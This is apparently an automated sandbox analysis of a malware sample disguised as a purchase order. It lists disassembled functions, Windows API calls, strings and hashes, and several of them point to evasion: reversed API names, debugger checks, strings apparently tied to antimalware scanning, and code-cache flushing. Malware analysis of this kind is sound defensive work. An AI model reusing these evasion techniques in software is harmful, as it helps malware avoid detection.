Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: 1509e3dce2a7cdc65b67c770ff813fc4f47fb22f27b63ebf5d16495811cb65a1
Instruction ID: 11256c3d6457e9cffeff4cace63bec92106e4ec726d2e13fc57ba84c4d98d7e4
Opcode Fuzzy Hash: 1509e3dce2a7cdc65b67c770ff813fc4f47fb22f27b63ebf5d16495811cb65a1
Instruction Fuzzy Hash: 95016238A80708AFEB01FFA5EC45E9E77AEEB49710F924468F405D7710DA70AD009A74

Function 02DDA9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02DDAA67,?,?,00000000), ref: 02DDA9E8

Part of subcall function 02DDA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02DDA762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,02DDAA67,?,?,00000000), ref: 02DDAA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 02DDAA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,02DDAA67,?,?,00000000), ref: 02DDAA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 02DDAA4C

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 28620eb6c11330bf6ed9ece8ef926840c24c307d13d603a6096a008084197723
Instruction ID: 1525f4d93ddf092c19e3bdd10f747269e365ba0347e4dd75efc2e3f8d6ef7d00
Opcode Fuzzy Hash: 28620eb6c11330bf6ed9ece8ef926840c24c307d13d603a6096a008084197723
Instruction Fuzzy Hash: 7C01F234244E846BF701A678ED12B6E735DDB46720FD192A0F500A6BC0E664EE008AF4

Function 02DDAA80 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 148threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,02DDAC50,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 02DDAAAF

Part of subcall function 02DDA744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02DDA762

Strings

ggg, xrefs: 02DDAB95
yyyy, xrefs: 02DDABA5
eeee, xrefs: 02DDABBE

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: d61eae29b3a91cbf0216159668a74a3234988c1dc5f3964d4d802aba6037ced8
Instruction ID: 618ab050018f2737e07ea48deee6f68f20cae5eba9ffea4b6d3deb0f2d368d4c
Opcode Fuzzy Hash: d61eae29b3a91cbf0216159668a74a3234988c1dc5f3964d4d802aba6037ced8
Instruction Fuzzy Hash: 8E41E538708E495BD711EB7C88807BEB3EBDB85214F54C925E4A2D7344EA78ED06CA71

Function 02DE8018 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Strings

AeldnaHeludoMteG, xrefs: 02DE8031
KernelBASE, xrefs: 02DE8051

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc
String ID: AeldnaHeludoMteG$KernelBASE
API String ID: 1883125708-1952140341
Opcode ID: e70d8d0971d31a3371130c52ca317d611a2403c1ab5d515e004fd14d6274749c
Instruction ID: 093fb90bfd7018cfb1f3e9a15ea78aca126e4ab2591602e2fea6822a1c3b0e81
Opcode Fuzzy Hash: e70d8d0971d31a3371130c52ca317d611a2403c1ab5d515e004fd14d6274749c
Instruction Fuzzy Hash: 82F0CD34680708AFEB00FBA0EC4295A77ADEB09B40BA20960F401D7B10D730AE409A60

Function 02DEEB8C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KernelBase,?,02DEEF90,UacInitialize,02E3137C,02DFAFD0,UacScan,02E3137C,02DFAFD0,ScanBuffer,02E3137C,02DFAFD0,OpenSession,02E3137C,02DFAFD0,ScanString), ref: 02DEEB92
GetProcAddress.KERNEL32(00000000,IsDebuggerPresent), ref: 02DEEBA4

Strings

KernelBase, xrefs: 02DEEB8D
IsDebuggerPresent, xrefs: 02DEEB9E

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsDebuggerPresent$KernelBase
API String ID: 1646373207-2367923768
Opcode ID: fd4e67f709381d81afc277589ad1826bc8631dcfebc99d3470d1c2692fa05e2a
Instruction ID: 4cb7fabfc7d0d406e8865a9bbf690240f32201b5ee7c8d2bf5c8969c47ac9063
Opcode Fuzzy Hash: fd4e67f709381d81afc277589ad1826bc8631dcfebc99d3470d1c2692fa05e2a
Instruction Fuzzy Hash: 7CD01265355B501DFD0075F42CC4C1F03CDC50553D7240EA0F023D53D1E566CC1555A1

Function 02DDC3F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,02DFC10B,00000000,02DFC11E), ref: 02DDC3FA
GetProcAddress.KERNEL32(00000000,GetDiskFreeSpaceExA), ref: 02DDC40B

Strings

kernel32.dll, xrefs: 02DDC3F5
GetDiskFreeSpaceExA, xrefs: 02DDC405

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 51492abd61497bed38e5f22b4d06c31cc6b9e718cc09a34bc38bdeea0171892d
Instruction ID: 30edc41cb4eaae3313a2b7a15c5354b433482dfb547465d61327d42c85074d35
Opcode Fuzzy Hash: 51492abd61497bed38e5f22b4d06c31cc6b9e718cc09a34bc38bdeea0171892d
Instruction Fuzzy Hash: 76D05E60A90B404AFB406FB1F881B3E2789C308706F005866E50155301D761BC18CFA8

Function 02DDE168 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02DDE217
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02DDE233
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02DDE2AA
VariantClear.OLEAUT32(?), ref: 02DDE2D3

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction ID: 2201f2dad33885c5acaccf4a46a6f55aa7258faf2001d9bfcf618f5a0d00381f
Opcode Fuzzy Hash: cd7e56306b14da739c94dd26db2064fb48e8dac8868798fc3541503821c87934
Instruction Fuzzy Hash: 2B41EC76A01A299FCB61DB58CC90BD9B7BDEF49314F0041D5E649AB351DA30AF84CF60

Function 02DDACBC Relevance: 6.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02DDACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02DDACFD
GetModuleFileNameA.KERNEL32(02DD0000,?,00000105), ref: 02DDAD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02DDADAE

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: c51654078bb91ab2b86d5e75dc36c4a44776b50aa88997b9ca3390c153871f84
Instruction ID: 92497a2f8ce08ef025fd067505cf80cc04ee3578e59dcb5a815569d47ebae278
Opcode Fuzzy Hash: c51654078bb91ab2b86d5e75dc36c4a44776b50aa88997b9ca3390c153871f84
Instruction Fuzzy Hash: 42410874A406589BDB61EB68DC84BDAB7FDAB08301F4440EAA548E7341DB749F84CF60

Function 02DDACBA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 02DDACD9
GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02DDACFD
GetModuleFileNameA.KERNEL32(02DD0000,?,00000105), ref: 02DDAD18
LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02DDADAE

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: 71aed838403eb56ec35dc60e1e75c5956a45fc85ada51514543b1ceeeb523b9a
Instruction ID: 1de8cafe341cb88f7058ebed6b6c6a075f54f9465ebf8adfcc0b4afb20cf9513
Opcode Fuzzy Hash: 71aed838403eb56ec35dc60e1e75c5956a45fc85ada51514543b1ceeeb523b9a
Instruction Fuzzy Hash: FF411B74A406589BDB61EB68DC84BDAB7EDAB08301F4440E5A548E7341DB74DF84CF60

Function 02DD1C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e521871343254065e45c700f33ba3cc7b3fe5a96b7033b4af9025dd56d61c81d
Instruction ID: 86d2b262da8fd69072b3039c9bdb74062cf9764f45fcc0a0396d7bffa377bb15
Opcode Fuzzy Hash: e521871343254065e45c700f33ba3cc7b3fe5a96b7033b4af9025dd56d61c81d
Instruction Fuzzy Hash: A2A1E567750A100BE728AA7D9D803ADB3D6DBC4225F1C427EE11DCB3C5EB68DD46C650

Function 02DD946C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,02DD955A), ref: 02DD94F2
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,02DD955A), ref: 02DD94F8

Strings

yyyy, xrefs: 02DD94CD

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: d41cad2ab444d3f341dfa72002a16f72a4d9c4ef6914fb3a6fad32e669ae669b
Instruction ID: 5544c8d1a03cc90dc07b0b30af8e82ca875e5ff3697b33eaab261fddee347ebf
Opcode Fuzzy Hash: d41cad2ab444d3f341dfa72002a16f72a4d9c4ef6914fb3a6fad32e669ae669b
Instruction Fuzzy Hash: 90216B75A00A18AFDB10DFA8C851AEEB3B9EF08710F4100A5E949E7340D731EE40CFA5

Function 02DE8184 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 02DE8018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02DE8088,?,?,00000000,?,02DE79FE,ntdll,00000000,00000000,02DE7A43,?,?,00000000), ref: 02DE8056
Part of subcall function 02DE8018: GetModuleHandleA.KERNELBASE(?), ref: 02DE806A

Part of subcall function 02DE80C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02DE8148,?,?,00000000,00000000,?,02DE8061,00000000,KernelBASE,00000000,00000000,02DE8088), ref: 02DE810D
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02DE8113
Part of subcall function 02DE80C0: GetProcAddress.KERNEL32(?,?), ref: 02DE8125

FlushInstructionCache.KERNEL32(?,?,?,00000000,Kernel32,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,02DE820E), ref: 02DE81F0

Strings

FlushInstructionCache, xrefs: 02DE819D
Kernel32, xrefs: 02DE81CF

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: HandleModule$AddressProc$CacheFlushInstruction
String ID: FlushInstructionCache$Kernel32
API String ID: 3811539418-184458249
Opcode ID: 041d6dc48df99817044ee7849c431646d9c8e785dec64439d378d18603545887
Instruction ID: 61477d4ea28a5b937efcf6765db714866252e171a0ab95eb23ae0cd9dd92e78e
Opcode Fuzzy Hash: 041d6dc48df99817044ee7849c431646d9c8e785dec64439d378d18603545887
Instruction Fuzzy Hash: 8601AD34680A08AFEB00EFE4DC42F5A77ADEB08B00FA28460F505D7750CA30AD009A30

Function 02DEAD5C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02DEAD90
IsBadWritePtr.KERNEL32(?,00000004), ref: 02DEADC0
IsBadReadPtr.KERNEL32(?,00000008), ref: 02DEADDF
IsBadReadPtr.KERNEL32(?,00000004), ref: 02DEADEB

Memory Dump Source

Source File: 00000000.00000002.22968835532.0000000002DD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: true

Associated: 00000000.00000002.22968766664.0000000002DD0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22968997541.0000000002DFD000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969211170.0000000002E31000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F25000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.22969259445.0000000002F28000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_PO_B2W984.jbxd

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction ID: 0a08da1231fc58b1f55a923e2a03dca3185aa22419a5b1f58e574c8caef92c20
Opcode Fuzzy Hash: a93baf0632f810e868fc304dc02f88cb2819ea7b8e0cd4cec62af5963c9676e9
Instruction Fuzzy Hash: 2421AFB164061A9BDF10EF29CC80BAE77A9EF40722F008251EE5197380EB34ED11DAE0

Analysis Process: rpkhzpuO.pifPID: 5464, Parent PID: 5980COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3%
Total number of Nodes:	1828
Total number of Limit Nodes:	67

Executed Functions

Function 004019F0 Relevance: 135.5, APIs: 28, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32(00000000,?), ref: 00401D02
Module32Next.KERNEL32(00000000,?), ref: 00401DB6
CloseHandle.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

V, xrefs: 00401E19
5, xrefs: 00402109
', xrefs: 00402006
o, xrefs: 00401B8D
{, xrefs: 00401E3C
8, xrefs: 00401BA9
v, xrefs: 00401E4B
., xrefs: 0040201F
W, xrefs: 00401B23
6, xrefs: 004020C5
[, xrefs: 00401B37
0, xrefs: 00401BBD
!, xrefs: 0040201A
v, xrefs: 0040206A
*, xrefs: 004020E1
_._, xrefs: 00402257
W, xrefs: 004020E6
W, xrefs: 00401B14
), xrefs: 0040202E
:, xrefs: 00401B28
x, xrefs: 00402088
v, xrefs: 0040212C
x, xrefs: 00401E69
h, xrefs: 00401A6F
", xrefs: 00401B0F
!, xrefs: 004020CF
4, xrefs: 00401B64
x, xrefs: 00401B78
D, xrefs: 00401DFB
U, xrefs: 004020F5
4, xrefs: 00402136
W, xrefs: 00402033
*, xrefs: 00401A1F
!, xrefs: 00401B1E
[, xrefs: 00402047
., xrefs: 00401B0A
E, xrefs: 00401E0F
%, xrefs: 004020FA
V, xrefs: 00402038
{, xrefs: 00401B4B
{, xrefs: 0040205B
x, xrefs: 0040214A
', xrefs: 00401AF6
o, xrefs: 00402159
___, xrefs: 0040227D
4, xrefs: 00402074
v, xrefs: 00401B5A
{, xrefs: 0040211D
o, xrefs: 00402097

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: Resource$HandleModule32$CloseNextSizeof$CreateCurrentFindFirstInitializeLoadLockModuleProcessSnapshotToolhelp32
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 693451461-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Function 0040E7C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(mscoree.dll,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7CD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040E7DD
CorExitProcess.MSCOREE(00000001,?,0040E7FB,00000001,?,0040B886,000000FF,0000001E,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018), ref: 0040E7EA

Strings

CorExitProcess, xrefs: 0040E7D7
mscoree.dll, xrefs: 0040E7C8

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: AddressExitHandleModuleProcProcess
String ID: CorExitProcess$mscoree.dll
API String ID: 75539706-1276376045
Opcode ID: 5704aca5f5ecdaa3d57f3352e77ea2b8a015caad99495bbcc1e51de28377031d
Instruction ID: 13dbb3e6ef43035a159a1267b6351ab0e26cdcbf0334b58bc2f3653a625ca4b4
Opcode Fuzzy Hash: 5704aca5f5ecdaa3d57f3352e77ea2b8a015caad99495bbcc1e51de28377031d
Instruction Fuzzy Hash: 69D0A9383402042B8B202FB29C08A8BBE8CCD88B403020432B61CE22A2CB38C81184AD

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000004.00000001.22963397742.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000001.22963397742.0000000000426000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000004.00000001.22963397742.000000000045A000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_1_400000_rpkhzpuO.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
